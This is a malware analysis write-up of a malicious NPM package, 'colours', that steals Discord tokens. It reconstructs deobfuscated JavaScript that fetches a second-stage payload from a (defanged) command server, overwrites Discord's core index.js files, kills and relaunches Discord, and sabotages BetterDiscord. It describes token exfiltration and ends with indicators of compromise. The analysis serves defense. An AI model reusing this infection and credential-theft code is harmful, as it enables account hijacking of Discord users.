Colours — NPM

Contents
Introduction Deobfuscation & String Table Analysis The init() Function String Lookup Mechanism Array Shuffling & Runtime Resolution Function Analysis pwnBetterDiscord() startDiscord() killDiscord() injectNotify() listDiscord() infect() Runtime Array Population Indicators of Compromise

Introduction

Skimming through the files present in this package, the colours.js file looks heavily obfuscated whilst other files seem like normal files. Therefore, the analysis starts with making sense of what this file does. Going through the file, the function names give a brief idea of what the file is doing, however, to be sure, let's start by analysing the init function first since that is the entry point.

There are a lot of obfuscation techniques being used, the primary technique identified was hex-encoded strings. Using a small Python script, these strings were converted to ASCII.

\x67\x65\x74 corresponds to GET, and so on. This pattern is used extensively throughout the malware to hide string literals from static analysis.

Deobfuscation & String Table Analysis

The init() Function

The entry point init() immediately reveals the obfuscation strategy. It defines a variable _0x6f50d1 which is assigned to _0x5243c9. Following the alias chain reveals:

_0x6f50d1 _0x5243c9 _0x3f08

These are one and the same. The init() function uses Object[string_from_table(0x181)](styles)[string_from_table(0x169)] to define a getter that calls build() — the actual payload loader.

String Lookup Mechanism

Inspecting _0x3f08 reveals that the return value for this function is a function itself. It takes in 2 parameters, subtracts 0x10b from the first parameter, and uses the result as an index into a word array. This is essentially a string lookup table.

function string_from_table(_0x4996ee, _0x5ba1c9) {
    var word_array_2 = word_array();
    return string_from_table = function(first_parameter, second_parameter) {
        first_parameter_minus_267 = first_parameter - 0x10b;
        var fetched_from_word_array = word_array_2[first_parameter_minus_267];
        return fetched_from_word_array;
    }, string_from_table(_0x4996ee, _0x5ba1c9);
}

The word array itself contains a mix of URLs, function names, filesystem paths, and string constants. Three URLs immediately stand out:

URLs Found in Word Array

hxxps://pegapiranha[.]com/kauanaperigosa
hxxps://kauedaocu[.]space/api/webhooks/evilKaue
hxxps://kauelindo[.]xyz/manhattan

With this understanding, all subsequent alias variables were renamed using the pattern string_from_tablestring_from_table_2, and _0x3d05deword_array_2 to make reversing easier.

Going back to the init function with these renames, string_from_table_3 is just an alias for string_from_table, meaning 0x10b is subtracted from 0x181 and then passed to the word array as an index.

Array Shuffling & Runtime Resolution

Another interesting observation is that the word array rearranges itself at runtime. An algorithm defined at the top of the file performs a push/shift shuffle loop:

(function(_0x1c7ced, _0x2d1357) {
    var _0x80c8ba = string_from_table,
        _0x19e952 = _0x1c7ced();
    while (!![]) {
        try {
            var _0x2e2662 = -parseInt(_0x80c8ba(0x177)) / 0x1 * ...
            if (_0x2e2662 === _0x2d1357) break;
            else _0x19e952['push'](_0x19e952['shift']());
        } catch (_0x3f8c73) {
            _0x19e952['push'](_0x19e952['shift']());
        }
    }
}(word_array, 0x59eeb));

This makes static reversing tough. However, since the initial analysis confirmed no immediately dangerous invocations in the string resolution code, it can be safely debugged at runtime. A Windows VM was created with all network adapters removed, and the functions were loaded step-by-step in a browser console:

  1. Load word_array() into the console
  2. Load string_from_table()
  3. Load the mixer/shuffler function
  4. Define string_from_table_2 = string_from_table
  5. Resolve individual string lookups like string_from_table_4(0x187)'appdata'
Using this runtime approach, all obfuscated string references throughout the file can be resolved to their actual values, enabling full reconstruction of each function's logic.

Function Analysis

pwnBetterDiscord()

Resolving the obfuscated lookups, string_from_table_4(0x187) yields 'appdata' and string_from_table_4(0x146) yields '\\BetterDiscord\\data\\betterdiscord.asar'. Reconstructing the function:

async function pwnBetterDiscord() {
    var string_from_table_4 = string_from_table_2,
    if (fs.existsSync(process.env.appdata + '\\BetterDiscord\\data\\betterdiscord.asar')) {

        fs.writeFileSync(process.env.appdata + '\\BetterDiscord\\data\\betterdiscord.asar',
            buf_replace(fs.readFileSync(process.env.appdata +
            '\\BetterDiscord\\data\\betterdiscord.asar'), 'api/webhooks', 'kaka'));
    } else return;
}
pwnBetterDiscord()
Checks if betterDiscord.asar file exists in AppData. If it doesn't exist, the function returns. If it does exist, it reads the entire file and replaces all occurrences of "api/webhooks" with "kaka", then re-writes the file. This effectively breaks any legitimate webhook functionality in BetterDiscord.

startDiscord()

This function is a straightforward launch function. It iterates through the runningDiscords array and restarts each Discord variant:

async function startDiscord() {
    runningDiscords.forEach(_0x2ac730 => {
        var _0x127852 = string_from_table;
        let _0x3fc7e6 = LOCAL + '\\' + _0x2ac730 + '\\Update.exe --processStart ' +
            _0x2ac730 + ".exe";
        exec(_0x3fc7e6, _0x467042 => {
            if (_0x467042) return;
        });
    });
};

It constructs the path to each Discord variant's Update.exe and uses --processStart to relaunch the application. This is called after infection to ensure the compromised Discord clients are running.

killDiscord()

This function loops through all running Discord applications and kills them using taskkill:

async function killDiscord() {
    var _0x3d8d66 = string_from_table_2;
    runningDiscords.forEach(_0x4e0f99 => {
        var _0x1376f4 = _0x3d8d66;
        exec('taskkill /IM ' + _0x4e0f99 + '.exe /F', _0x1c5cc0 => {
            if (_0x1c5cc0) return;
        });
    }),
    config['inject-notify'] == true && injectPath[length] != 0x0
        && injectNotify(), infect(), pwnBetterDiscord();
};

After killing the processes, it checks if inject-notify is true in the config and if injectPath.length is non-zero. Using the a() && b() && c() left-to-right evaluation pattern, it conditionally calls injectNotify(), then always calls infect() and pwnBetterDiscord().

killDiscord()
Loops through all running Discord processes and kills them via taskkill /F. Then checks if inject-notify is true and inject path length is non-zero. If both resolve to true, it calls injectNotify(), followed by infect() and pwnBetterDiscord().

injectNotify()

This function scans the victim's Local Storage across 13 browser and Discord clients:

For each application, it searches for .ldb files in their Local Storage directories. It reads the contents and runs two regex patterns to extract Discord tokens: standard tokens and MFA tokens. Every token found is pushed into an array.

The function then gathers system information via os.hostname(), os.arch(), CPU details, and endianness. Everything is sent to the C2 server:

// Exfiltration destination
hxxps://kauelindo[.]xyz/manhattan

// Data sent as custom headers:
// 1. Array of extracted Discord tokens
// 2. System information (hostname, arch, CPU, endianness)
This function harvests Discord tokens from 13 different applications simultaneously. Both standard and MFA-protected tokens are targeted, meaning even accounts with two-factor authentication enabled are at risk of session hijacking.

listDiscord()

After deobfuscation, this function checks for the following Discord executables running on the system:

async function listDiscords() {
    exec('tasklist', async (_0x1f7a53, _0x54e01b, _0x8c4c39) => {
        _0x54e01b.includes('Discord.exe') && runningDiscords.push('discord');
        _0x54e01b.includes('DiscordCanary.exe') && runningDiscords.push('discordcanary');
        _0x54e01b.includes('DiscordDevelopment.exe') && runningDiscords.push('discorddevelopment');
        _0x54e01b.includes('DiscordPTB.exe') && runningDiscords.push('discordptb');

        config["logout"] == 'instant'
            ? killDiscord()
            : (config['inject-notify'] == true && injectPath.length != 0x0
                && injectNotify(), infect(), pwnBetterDiscord());
    });
};

It pushes discovered Discord processes into the runningDiscords array. Then it checks the logout config: if set to 'instant', it immediately calls killDiscord(). Otherwise, it follows the same conditional chain — calling injectNotify() if conditions are met, then infect() and pwnBetterDiscord().

listDiscord()
Checks for all Discord executables currently running and adds them to the runningDiscords array. Checks if the logout config is 'instant' and kills Discord if true, else calls injectNotify(), then calls infect() and pwnBetterDiscord().

infect()

Before examining this function, the variable superstarlmao needs to be resolved:

superstarlmao = string_from_table_2(0x188),
// Resolves to:
'hxxps://kauedaocu[.]space/api/webhooks/evilKaue'

The infect() function begins by making a GET request to hxxps://pegapiranha[.]com/kauanaperigosa to fetch the second-stage payload data. It then iterates through all inject paths and writes the malicious payload to each, replacing configuration placeholders with actual values:

async function infect() {
    var _0x3d661b = string_from_table_2;
    await axios.get('hxxps://pegapiranha[.]com/kauanaperigosa').then(async _0x41b22d => {

        let malicious_Data_im_guessing = _0x41b22d.data;
        injectPath.forEach(_0x3d615c => {

            fs.writeFileSync(_0x3d615c,
                malicious_Data_im_guessing
                .replace('%WEBHOOK_LINK%', superstarlmao)
                .replace('%INITNOTII%', config['init-notify'])
                .replace('%LOGOUT%', config['logout'])
                .replace('%LOGOUTNOTIY%', config['logout-notify'])
                .replace('3447704', config['embed-color'])
                .replace('%DISABLEQRCODEX%', config['disable-qr-code']), {
                'encoding': 'utf8',
                'flag': 'w'
            });

            if (config['init-notify'] == true) {
                if (!fs.existsSync(_0x3d615c.replace('index.js', 'init')))
                    fs.mkdirSync(_0x3d615c.replace('index.js', 'init'), 0x1e4);
            }
            if (config['logout'] != false) {
                if (!fs.existsSync(_0x3d615c.replace('index.js', 'bin'))) {
                    fs.mkdirSync(_0x3d615c.replace('index.js', 'bin'), 0x1e4);
                    if (config['logout'] == 'instant')
                        startDiscord();
                }
            }
        });
    })['catch'](() => {});
};

Key behaviors:

infect()
Infects all Discord installations by overwriting their index.js files with a malicious payload fetched from the C2 server. Leaves tracker directories (init, bin) to identify what has already been infected.

Runtime Array Population

During analysis, several arrays are populated at runtime that store important data about Discord processes. The initialization is straightforward:

var LOCAL = process.env.LOCALAPPDATA,
    discords = [],
    injectPath = [],
    runningDiscords = [];

Population happens in two stages. First, the code scans LOCALAPPDATA for any directory containing 'iscord' and pushes matches to the discords array:

fs.readdirSync(LOCAL).forEach(_0x2532c9 => {
    if (_0x2532c9.includes('iscord')) discords.push(LOCAL + '\\' + _0x2532c9);
    else return;
});

Then, for each discovered Discord installation, it searches for index.js files inside the discord_desktop_core module directory using glob pattern matching:

discords.forEach(function(_0x467fa2) {
    let _0x5475e7 = '' + _0x467fa2 +
        '\\app-*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index.js';
    glob['sync'](_0x5475e7).map(_0x97be40 => {
        injectPath.push(_0x97be40);
    });
}), listDiscords();

Finally, the global configuration and imports are defined:

var colors = {};
module.exports = colors;
var glob = require('glob');
const fs = require('fs'),
    { exec } = require('child_process'),
    { default: axios } = require('axios'),
    buf_replace = require('buffer-replace'),
    superstarlmao = string_from_table_2(0x188),
    config = {
        'logout': 'instant',
        'inject-notify': 'true',
        'logout-notify': 'true',
        'init-notify': 'true',
        'embed-color': 0x54bf3,
        'disable-qr-code': 'true'
    };
The complete attack chain: Package installed via NPM → colours.js executes → Deobfuscates string table at runtime → Scans for Discord installations in LOCALAPPDATA → Enumerates index.js inject targets → Lists running Discord processes → Fetches stage-2 payload from C2 → Infects all Discord index.js files → Extracts tokens from 13 browser/Discord Local Storage paths → Exfiltrates tokens + system info to C2 → Sabotages BetterDiscord webhooks → Restarts Discord to activate injection.

Indicators of Compromise (IoCs)

Network Indicators

hxxps://pegapiranha[.]com/kauanaperigosa — Downloads stage-2 payload (not up during time of analysis)
hxxps://kauedaocu[.]space/api/webhooks/evilKaue — C2 webhook receiving POST data
hxxps://kauelindo[.]xyz/manhattan — C2 receiving stolen tokens & system info as headers

File System Artifacts

colours.js — Obfuscated entry point in malicious NPM package
%LOCALAPPDATA%\*iscord*\app-*\modules\discord_desktop_core-*\discord_desktop_core\index.js — Injection target
%APPDATA%\BetterDiscord\data\betterdiscord.asar — Webhook sabotage target
init/ directory alongside infected index.js — Infection tracker
bin/ directory alongside infected index.js — Logout tracker

Targeted Applications (Token Theft)

Discord, Discord Canary, Discord PTB, Lightcord
Opera, Opera GX, Amigo, Torch, Kometa, Edge, Chrome, Yandex, Brave

Process Indicators

taskkill /IM Discord.exe /F (and variants)
tasklist — Process enumeration
Update.exe --processStart — Discord relaunch after infection

Configuration Constants

logout: 'instant'
inject-notify: 'true'
logout-notify: 'true'
init-notify: 'true'
embed-color: 0x54bf3
disable-qr-code: 'true'

Anurag Chevendra